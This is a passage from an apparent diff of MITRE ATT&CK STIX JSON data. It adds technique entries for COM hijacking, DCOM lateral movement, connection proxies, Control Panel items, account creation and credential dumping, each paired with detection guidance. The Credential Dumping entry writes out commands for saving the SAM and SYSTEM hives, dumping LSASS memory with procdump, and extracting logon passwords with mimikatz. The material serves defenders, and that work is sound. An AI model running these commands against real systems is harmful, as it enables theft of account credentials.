(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", + "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "modified": "2019-04-18T16:41:28.889Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "ENDGAME" + ], + "created": "2017-05-31T21:31:33.979Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1122", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1122" + }, + { + "source_name": "Microsoft Component Object Model", + "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", + "url": "https://msdn.microsoft.com/library/ms694363.aspx" + }, + { + "source_name": "GDATA COM Hijacking", + "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", + "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence" + }, + { + "source_name": "Endgame COM Hijacking", + "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", + "url": "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" + } + ], + "x_mitre_defense_bypassed": [ + "Autoruns Analysis" + ] + }, + { + "x_mitre_data_sources": [ + "PowerShell logs", + "API monitoring", + "Authentication logs", + "DLL monitoring", + "Packet capture", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "name": "Component Object Model and Distributed COM", + "description": "Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", + "x_mitre_remote_support": true, + "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1175", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1175" + }, + { + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "source_name": "ProjectZero File Write EoP Apr 2018", + "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", + "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + }, + { + "source_name": "Enigma DCOM Lateral Movement Jan 2017", + "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/" + }, + { + "source_name": "Enigma Excel DCOM Sept 2017", + "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/" + }, + { + "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", + "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", + "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + } + ], + "modified": "2019-06-24T14:19:22.186Z" + }, + { + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "name": "Connection Proxy", + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.\n\nInternal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.", + "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "modified": "2019-07-08T21:11:18.343Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Brian Prange", + "Heather Linn", + "Walker Johnson" + ], + "created": "2017-05-31T21:31:08.479Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Log Analysis", + "Firewall" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Windows Registry", + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Control Panel Items", + "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", + "x_mitre_remote_support": false, + "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-16T21:10:28.299Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1196", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1196" + }, + { + "source_name": "Microsoft Implementing CPL", + "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx" + }, + { + "source_name": "TrendMicro CPL Malware Jan 2014", + "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + }, + { + "source_name": "TrendMicro CPL Malware Dec 2013", + "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting" + ] + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Office 365 account logs", + "Azure activity logs", + "AWS CloudTrail logs", + "Process monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "name": "Create Account", + "description": "Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nIn cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\n\n### Windows\n\nThe net user commands can be used to create a local or domain account.\n\n### Office 365\n\nAn adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)", + "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure AD", + "Azure", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2", + "type": "attack-pattern", + "x_mitre_detection": "Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Praetorian" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1136", + "url": "https://attack.mitre.org/techniques/T1136" + }, + { + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "source_name": "Microsoft O365 Admin Roles", + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + }, + { + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "source_name": "Microsoft Support O365 Add Another Admin, October 2019", + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + }, + { + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "source_name": "Microsoft User Creation Event", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + } + ], + "modified": "2019-10-18T18:48:44.770Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "PowerShell logs", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "name": "Credential Dumping", + "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform\u00a0Lateral Movement\u00a0and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the \u2018net user\u2019 command. To enumerate the SAM database, system level access is required.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n\u00a0\nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are\u00a0UTF-16\u00a0encoded, which means that they are returned in\u00a0plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the\u00a0Local Security Authority Subsystem Service\u00a0(LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs):\u00a0A Security Support Provider is a\u00a0dynamic-link library\u00a0(DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: \u00a0Provides SSO and\u00a0Network Level Authentication\u00a0for\u00a0Remote Desktop Services. (Citation: Microsoft CredSSP)\n\u00a0\nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run:\n\n* sekurlsa::Minidump\u00a0lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", + "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ed Williams, Trustwave, SpiderLabs" + ], + "created": "2017-05-31T21:30:19.735Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003" + }, + { + "source_name": "GitHub Creddump7", + "description": "Flathers, R. (2018, February 19). 